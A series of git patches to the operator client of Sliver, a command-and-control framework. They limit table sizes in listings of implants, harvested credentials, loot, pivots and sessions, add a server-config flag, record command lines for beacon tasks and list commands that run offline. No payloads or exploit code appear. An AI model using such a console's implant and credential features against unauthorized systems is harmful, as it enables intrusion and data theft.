tw.AppendHeader(table.Row{ "Name", "Operator", "Templates", "Platform", "Compiler Targets", }) diff --git a/client/command/crack/crack-files.go b/client/command/crack/crack-files.go index 5e2f1ca91d..92425d4f77 100644 --- a/client/command/crack/crack-files.go +++ b/client/command/crack/crack-files.go @@ -98,6 +98,7 @@ func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []strin func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Name", "Size"}) for _, file := range crackFiles.Files { tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)}) @@ -109,16 +110,19 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC wordlistTable := table.NewWriter() wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal) wordlistTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(wordlistTable) wordlistTable.AppendHeader(table.Row{"Name", "Size"}) rulesTable := table.NewWriter() rulesTable.SetTitle(console.Bold + "Rules" + console.Normal) rulesTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(rulesTable) rulesTable.AppendHeader(table.Row{"Name", "Size"}) hcTable := table.NewWriter() hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal) hcTable.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(hcTable) hcTable.AppendHeader(table.Row{"Name", "Size"}) wordlists := 0 diff --git a/client/command/crack/crack.go b/client/command/crack/crack.go index ab13d083ff..b2d077ed76 100644 --- a/client/command/crack/crack.go +++ b/client/command/crack/crack.go @@ -140,6 +140,7 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(console.Bold + "Benchmarks" + console.Normal) tw.SortBy([]table.SortBy{{Name: "Hash Type"}}) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"}) for hashType, speed := range cracker.Benchmarks { tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)}) diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 1c764e0a5d..7f9a4dbd72 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -61,6 +61,7 @@ func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) { func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) if collection != "" { tw.SetTitle(console.Bold + collection + console.Normal) } else { diff --git a/client/command/cursed/cursed.go b/client/command/cursed/cursed.go index d9f220044c..017c5c7ac5 100644 --- a/client/command/cursed/cursed.go +++ b/client/command/cursed/cursed.go @@ -55,6 +55,7 @@ func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if 0 < len(cursedProcesses) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL", }) diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index e0eb46578e..58403abb35 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -47,6 +47,7 @@ func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { func PrintExtensions(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Command Name", diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index bbf729edf8..9113dc4151 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -32,6 +32,7 @@ func CanariesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Sliver Name", "Domain", diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index 76d806ed4f..d420969fbe 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -63,6 +63,7 @@ func ImplantsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters ImplantBuildFilter, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Implant Type", diff --git a/client/command/generate/profiles.go b/client/command/generate/profiles.go index 120055568d..2ef8dcb29b 100644 --- a/client/command/generate/profiles.go +++ b/client/command/generate/profiles.go @@ -53,6 +53,7 @@ func ProfilesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Profile Name", "Implant Type", diff --git a/client/command/generate/traffic-encoders.go b/client/command/generate/traffic-encoders.go index 83d1797179..8f61a36e67 100644 --- a/client/command/generate/traffic-encoders.go +++ b/client/command/generate/traffic-encoders.go @@ -58,6 +58,7 @@ func TrafficEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []st func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -203,6 +204,7 @@ func clearLines(count int, con *console.SliverClient) { func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverClient) int { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Test", "Result", diff --git a/client/command/hosts/hosts-ioc.go b/client/command/hosts/hosts-ioc.go index 42154c7a75..4bc08a167a 100644 --- a/client/command/hosts/hosts-ioc.go +++ b/client/command/hosts/hosts-ioc.go @@ -29,6 +29,7 @@ import ( "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" ) @@ -51,6 +52,7 @@ func HostsIOCCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func hostIOCsTable(host *clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(table.StyleBold) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"File Path", "SHA-256"}) for _, ioc := range host.IOCs { tw.AppendRow(table.Row{ diff --git a/client/command/hosts/hosts.go b/client/command/hosts/hosts.go index 996f92a9ae..528e4283ae 100644 --- a/client/command/hosts/hosts.go +++ b/client/command/hosts/hosts.go @@ -62,6 +62,7 @@ func HostsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func hostsTable(hosts []*clientpb.Host, con *console.SliverClient) string { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Hostname", diff --git a/client/command/jobs/jobs.go b/client/command/jobs/jobs.go index e9683ec695..1b786c00dd 100644 --- a/client/command/jobs/jobs.go +++ b/client/command/jobs/jobs.go @@ -64,6 +64,7 @@ func JobsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", diff --git a/client/command/loot/loot.go b/client/command/loot/loot.go index 911f7856a9..4d2080054f 100644 --- a/client/command/loot/loot.go +++ b/client/command/loot/loot.go @@ -55,6 +55,7 @@ func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverClient) } tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index bf30ca793c..238582c0d6 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -74,6 +74,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCli for index, iface := range interfaces { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) + settings.SetMaxTableSize(tw) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name)) tw.SetColumnConfigs([]table.ColumnConfig{ {Name: "#", AutoMerge: true}, diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index d98ab11af8..375806a50f 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -88,6 +88,7 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"}) for _, entry := range netstat.Entries { diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index 99b8dc6ada..6808f3b925 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -89,6 +89,7 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type))) tw.AppendSeparator() + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Remote Address", diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index 0261d4cc78..c8eae4a12b 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -58,6 +58,7 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Protocol", diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index f6f3c02736..b06c8a86d7 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -50,6 +50,7 @@ func PrintPortfwd(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Session ID", diff --git a/client/command/processes/ps.go b/client/command/processes/ps.go index 18e0ea64ed..9d6fc3bff5 100644 --- a/client/command/processes/ps.go +++ b/client/command/processes/ps.go @@ -164,6 +164,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) switch os { case "windows": diff --git a/client/command/reaction/reaction.go b/client/command/reaction/reaction.go index 15046e7992..6c1de6065d 100644 --- a/client/command/reaction/reaction.go +++ b/client/command/reaction/reaction.go @@ -52,6 +52,7 @@ func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType))) tw.AppendSeparator() slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3 diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index ddcbb655b9..4e96935875 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -63,6 +63,7 @@ func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Remote Address", diff --git a/client/command/sessions/sessions.go b/client/command/sessions/sessions.go index ecafa7c927..6913ccb5a9 100644 --- a/client/command/sessions/sessions.go +++ b/client/command/sessions/sessions.go @@ -135,6 +135,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) wideTermWidth := con.Settings.SmallTermWidth < width if wideTermWidth { diff --git a/client/command/settings/settings.go b/client/command/settings/settings.go index aac21fdd26..b775daba42 100644 --- a/client/command/settings/settings.go +++ b/client/command/settings/settings.go @@ -42,6 +42,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { tw := table.NewWriter() tw.SetStyle(GetTableStyle(con)) + SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Name", "Value", "Description"}) tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"}) tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"}) diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index 3be9eb5d85..e286fc4944 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -45,6 +45,7 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Session ID", diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index 6e0ac33f73..fb38d7945c 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -50,6 +50,7 @@ func TasksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "State", diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index ac7f56a215..34bce11214 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -88,6 +88,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverClient) { con.Println() tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Path", "Content-type", diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index ccb35046e6..d9730bbb08 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -58,6 +58,7 @@ func WGPortFwdListCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } else { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index cb8cd09e6a..3b90541e6a 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -58,6 +58,7 @@ func WGSocksListCmd(cmd *cobra.Command, con *console.SliverClient, args []string if 0 < len(socksList.Servers) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Local Address", diff --git a/client/console/history.go b/client/console/history.go index 9981cea48f..599397a3d1 100644 --- a/client/console/history.go +++ b/client/console/history.go @@ -75,6 +75,7 @@ func (con *SliverClient) newImplantHistory(user bool) (*implantHistory, error) { } // Write - Sends the last command to the server for saving. +// Some commands are not saved (background, exit, etc) func (h *implantHistory) Write(cmdline string) (int, error) { sess, beac := h.con.ActiveTarget.Get() if sess == nil && beac == nil { @@ -138,7 +139,8 @@ func (h *implantHistory) Len() int { return len(h.items) } -// Dump returns the entire history. +// Dump returns the entire history, and caches it +// internally to avoid queries when possible. func (h *implantHistory) Dump() interface{} { sess, beac := h.con.ActiveTarget.Get() if sess == nil && beac == nil { @@ -177,6 +179,8 @@ func (h *implantHistory) Close() error { return err } +// isTrivialCommand returns true for commands that don't +// need to be saved in a given implant command history. func isTrivialCommand(cmdline string) bool { ignoreCmds := map[string]bool{ "": true, From 06005d9e34b5a70249fd2fb9b41a10a1f1b78451 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Sat, 19 Aug 2023 19:00:31 +0200 Subject: [PATCH 103/124] Fix stupid Tailscale compilation issue and keep last commits' work --- client/cli/cli.go | 22 +- client/cli/implant.go | 13 +- client/command/generate/implants.go | 2 +- client/command/history/history.go | 8 +- client/command/tasks/tasks.go | 2 +- client/command/use/commands.go | 7 +- client/console/command.go | 62 +- client/console/console.go | 38 +- client/console/events.go | 32 +- client/console/implant.go | 5 + client/console/readline.go | 3 +- client/console/teamclient.go | 46 +- protobuf/clientpb/client.pb.go | 2766 ++++++++++++++------------- protobuf/clientpb/client.proto | 1 + protobuf/commonpb/common.pb.go | 92 +- protobuf/commonpb/common.proto | 3 +- server/cli/cli.go | 1 + server/rpc/rpc.go | 22 +- server/transport/middleware.go | 7 +- server/transport/server.go | 2 +- 20 files changed, 1638 insertions(+), 1496 deletions(-) diff --git a/client/cli/cli.go b/client/cli/cli.go index 48c341014b..406460de0a 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -28,6 +28,7 @@ import ( "github.com/reeflective/team/client/commands" "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/completers" sliverConsole "github.com/bishopfox/sliver/client/command/console" client "github.com/bishopfox/sliver/client/console" ) @@ -35,7 +36,7 @@ import ( // Execute - Run the sliver client binary. func Execute() { // Create a client-only (remote TLS-transported connections) - // Sliver Client, prepared with a working reeflective/teamclient. + // Sliver client, prepared with a working reeflective/teamclient. // The teamclient automatically handles remote teamserver configuration // prompting/loading and use, as well as other things. con, err := client.NewSliverClient() @@ -43,7 +44,7 @@ func Execute() { log.Fatal(err) } - // Generate our complete Sliver Framework command-line interface. + // Generate the entire Sliver framework command-line interface. rootCmd := SliverCLI(con) // Version @@ -67,12 +68,12 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command) { } // Generate a single tree instance of server commands: - // These are used as the primary, one-exec-only CLI of Sliver, and are equipped with - // a pre-runner ensuring the server and its teamclient are set up and connected. + // These are used as the primary, one-exec-only CLI of Sliver, and will be equipped + // with a pre-runner ensuring the server and its teamclient are set up and connected. server := command.ServerCommands(con, teamclientCmds) - root = server() - root.Use = "sliver-client" // Needed by completion scripts. + root = server() // The root has an empty command name... + root.Use = "sliver-client" // so adjust it, because needed by completion scripts. // Bind the closed-loop console. // The console shares the same setup/connection pre-runners as other commands, @@ -91,6 +92,15 @@ func SliverCLI(con *client.SliverClient) (root *cobra.Command) { command.BindPreRun(root, con.PreRunConnect) command.BindPostRun(root, con.PostRunDisconnect) + // Add a CLI-specific flag for allowing users to force a specific remote + // Sliver server configuration to be used, instead of prompting user to choose. + root.Flags().StringP("config", "c", "", "Force connecting to a specific Sliver server") + completers.NewFlagCompsFor(root, func(comp *carapace.ActionMap) { + (*comp)["config"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { + return commands.ConfigsAppCompleter(con.Teamclient, "configs") + }) + }) + // Generate the root completion command. carapace.Gen(root) diff --git a/client/cli/implant.go b/client/cli/implant.go index a2899c9f7c..ec0887cc11 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -9,12 +9,13 @@ import ( "github.com/spf13/pflag" "golang.org/x/exp/slices" + "github.com/reeflective/console" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/use" client "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" - "github.com/reeflective/console" ) // implantCmd returns the command tree for Sliver active targets. @@ -103,6 +104,16 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command. return err } + // Keep a copy of the command-line: used for beacon task command-line info. + con.Args = os.Args[1:] + for i, arg := range os.Args { + if arg == cmd.Name() { + con.Args = os.Args[i:] + } else if slices.Contains(cmd.Aliases, arg) { + con.Args = os.Args[i:] + } + } + return nil } } diff --git a/client/command/generate/implants.go b/client/command/generate/implants.go index d420969fbe..0ec29d09f1 100644 --- a/client/command/generate/implants.go +++ b/client/command/generate/implants.go @@ -66,7 +66,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", - "Implant Type", + "Type", "Template", "OS/Arch", "Format", diff --git a/client/command/history/history.go b/client/command/history/history.go index 27bba1cecf..68eb8d31d9 100644 --- a/client/command/history/history.go +++ b/client/command/history/history.go @@ -24,7 +24,6 @@ import ( "time" "github.com/fatih/color" - "github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui" "github.com/spf13/cobra" "github.com/spf13/pflag" @@ -34,8 +33,6 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -const sgrPrefix = "\033[" - // Commands returns all commands related to implant history. func Commands(con *console.SliverClient) []*cobra.Command { historyCmd := &cobra.Command{ @@ -81,10 +78,11 @@ func Commands(con *console.SliverClient) []*cobra.Command { preLine := color.HiBlackString("%-3s", strconv.Itoa(i)) if !user { - preLine += fmt.Sprintf("%*s\t", 5, sgrPrefix+ui.ApplyStyling(ui.Style{}, ui.FgYellow).SGR()+"m"+command.User) + preLine += console.Orange + fmt.Sprintf("%*s\t", 5, command.User) + console.Normal } if showTime { - preLine += color.BlueString(time.Unix(command.GetExecutedAt(), 0).Format(time.Stamp)) + "\t" + execAt := time.Unix(command.GetExecutedAt(), 0).Format(time.Stamp) + preLine += console.Blue + execAt + console.Normal + "\t" } fmt.Println(preLine + command.Block) diff --git a/client/command/tasks/tasks.go b/client/command/tasks/tasks.go index fb38d7945c..5d0e793c36 100644 --- a/client/command/tasks/tasks.go +++ b/client/command/tasks/tasks.go @@ -54,7 +54,7 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *con tw.AppendHeader(table.Row{ "ID", "State", - "Message Type", + "Command Line", "Created", "Sent", "Completed", diff --git a/client/command/use/commands.go b/client/command/use/commands.go index 8ed2f1a8f1..80ca6074b1 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -16,9 +16,10 @@ import ( // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), + Use: consts.UseStr, + Short: "Switch the active session or beacon", + Long: help.GetHelpFor([]string{consts.UseStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), Run: func(cmd *cobra.Command, args []string) { UseCmd(cmd, con, args) }, diff --git a/client/console/command.go b/client/console/command.go index 4a17ea52ef..ea2a2336ff 100644 --- a/client/console/command.go +++ b/client/console/command.go @@ -80,9 +80,9 @@ func (con *SliverClient) FilterCommands(cmd *cobra.Command, filters ...string) { } } -// AddPreRunner should be considered part of the temporary API. +// AddPreRuns should be considered part of the temporary API. // It is used by the Sliver client to run hooks before running its own pre-connect -// handlers, and can thus be used to register server-only pre-run routines. +// handlers, and this function is thus used to register server-only pre-run routines. func (con *SliverClient) AddPreRuns(hooks ...func(_ *cobra.Command, _ []string) error) { con.preRunners = append(con.preRunners, hooks...) } @@ -103,24 +103,6 @@ func (con *SliverClient) runPreConnectHooks(cmd *cobra.Command, args []string) e return nil } -// WARN: this is the premise of a big burden. Please bear this in mind. -// If I haven't speaked to you about it, or if you're not sure of what -// that means, ping me up and ask. -func (con *SliverClient) isOffline(cmd *cobra.Command) bool { - // Teamclient configuration import does not need network. - ts, _, err := cmd.Root().Find([]string{"teamserver", "client", "import"}) - if err == nil && ts != nil && ts == cmd { - return true - } - - tc, _, err := cmd.Root().Find([]string{"teamclient", "import"}) - if err == nil && ts != nil && tc == cmd { - return true - } - - return false -} - func isFiltered(cmd *cobra.Command, targetFilters []string) bool { if cmd.Annotations == nil { return false @@ -140,3 +122,43 @@ func isFiltered(cmd *cobra.Command, targetFilters []string) bool { return false } + +// isOffline is unfortunately required for now. +// Some commands don't need access to the server, and therefore should +// be runnable even if no remote teamserver configs are available. +// +// An alternative would be to add some annotations to the commands +// just like we use annotations for implant command filtering, but +// I didn't want to impose such a practice without being sure of +// where it ultimately leads. Plus, there are not that many commands +// that need such a check, so I prefered to just hardcode them in +// the offlineCommands list below. +// +// This function only returns true when the exact command matches. +func (con *SliverClient) isOffline(cmd *cobra.Command) bool { + for _, cmdLine := range offlineCommands { + ts, _, err := cmd.Root().Find(cmdLine) + if err != nil || ts == nil { + continue + } + + if ts == cmd { + return true + } + } + + return false +} + +var offlineCommands = [][]string{ + // Teamclient/teamserver management + {"teamserver", "client", "import"}, // sliver-server + {"teamclient", "import"}, // sliver-client + + // Sliver-specific + {"help"}, + {consts.UpdateStr}, + {consts.VersionStr}, + {consts.LicensesStr}, + {consts.SettingsStr}, +} diff --git a/client/console/console.go b/client/console/console.go index 2ecac8af80..3fdc92bbd8 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -35,15 +35,16 @@ import ( "google.golang.org/grpc" "google.golang.org/grpc/status" + "github.com/reeflective/console" + "github.com/reeflective/readline" + "github.com/reeflective/team/client" + "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/reeflective/console" - "github.com/reeflective/readline" - "github.com/reeflective/team/client" ) const ( @@ -98,17 +99,18 @@ type ( // which means that users of this Sliver client may build arbitrarily complex server // selection/connection strategies. type SliverClient struct { - // Core client - App *console.Console - Settings *assets.ClientSettings - IsServer bool - isCLI bool - signals map[string]chan os.Signal - - // Teamclient & remotes + // Core Client & Teamclient + App *console.Console + Settings *assets.ClientSettings + IsServer bool Teamclient *client.Client - dialer *transport.TeamClient - preRunners []func(*cobra.Command, []string) error + dialer *transport.TeamClient // Allows to access the grpc.Conn. + + // Command utilities + isCLI bool // Are we in a exec-once CLI command mode. + preRunners []func(*cobra.Command, []string) error // Additional pre-runners (server) + signals map[string]chan os.Signal // Some commands can block, and be unblocked. + Args []string // Cache the last command-line we have run. // Logging jsonHandler slog.Handler @@ -121,6 +123,7 @@ type SliverClient struct { EventListeners *sync.Map // Tasks (pending) + // (Ensure we always print result after sent status display) beaconSentStatus map[string]*sync.WaitGroup beaconTaskSentMutex *sync.Mutex waitingResult chan bool @@ -232,6 +235,15 @@ func (con *SliverClient) StartConsole() error { con.isCLI = false con.printf = con.App.TransientPrintf + // os.Args are useless, and we need to keep each + // of our commands in case they are ran on beacons: + // those "need" the command line attached to task requests. + con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, + func(args []string) ([]string, error) { + con.Args = args + return args, nil + }) + return con.App.Start() } diff --git a/client/console/events.go b/client/console/events.go index a14f732b6a..0766e02947 100644 --- a/client/console/events.go +++ b/client/console/events.go @@ -291,6 +291,7 @@ func (con *SliverClient) triggerTaskCancel(data []byte) { } } +// AddBeaconCallback registers a new function to call once a beacon task is completed and received. func (con *SliverClient) AddBeaconCallback(resp *commonpb.Response, callback BeaconTaskCallback) { if resp == nil || resp.TaskID == "" { return @@ -312,14 +313,29 @@ func (con *SliverClient) AddBeaconCallback(resp *commonpb.Response, callback Bea con.waitSignalOrClose() } -// NewTask registers a new task (asynchronous -beacon- or not). If: -// - the provided (task) Response is nil, -// - if the task is not marked Async, -// - or if it's ID is nil, -// the task is considered synchronous, and we will directly call -// the handle function to execute the post-response workflow. +// NewTask is a function resting on the idea that a task can be handled identically regardless +// of if it's a beacon or a session one. This function tries to solve several problems at once: +// +// - Enable commands to declare only a single "execution workflow" for all implant types. +// - Allow us to hook onto the process for various things. Example: we want to save each +// beacon task with its corresponding command-line (for accessibility/display purposes), +// and we would prefer doing it without having to call History RPC stuff in another place. +// - Eventually or potentially, also treat all session requests as tasks, with 0 delay. +// You then have a single, more unified way of treating all implant interactions. +// No need to store implant history in JSON/text files, just use the database for it. +// +// This function DOES NOT register a beacon callback (eg. treats the task as synchronous), when: +// - the provided (task) Response is nil, +// - if the task is not marked Async, +// - or if it's ID is nil, +// +// In which case, the handle function is directly called and executed with the result. +// This function is not used, but is fully compatible with all of your code (I checked). +// +// Usage: +// con.NewTask(download.Response, download, func() { PrintCat(download, cmd, con) }) func (con *SliverClient) NewTask(resp *commonpb.Response, message proto.Message, handle func()) { - // We're no beacon here. + // We're no beacon here, just run the response handler. if resp == nil || !resp.Async || resp.TaskID == "" { if handle != nil { handle() @@ -340,5 +356,3 @@ func (con *SliverClient) NewTask(resp *commonpb.Response, message proto.Message, } }) } - -// con.NewTask(download.Response, download, func() { PrintCat(download, cmd, con) }) diff --git a/client/console/implant.go b/client/console/implant.go index 21ae1a7c8c..17c55d4b22 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -177,10 +177,12 @@ func (s *ActiveTarget) AddObserver(observer Observer) int { return s.observerID } +// RemoveObserver removes an observer from the active target. func (s *ActiveTarget) RemoveObserver(observerID int) { delete(s.observers, observerID) } +// Request 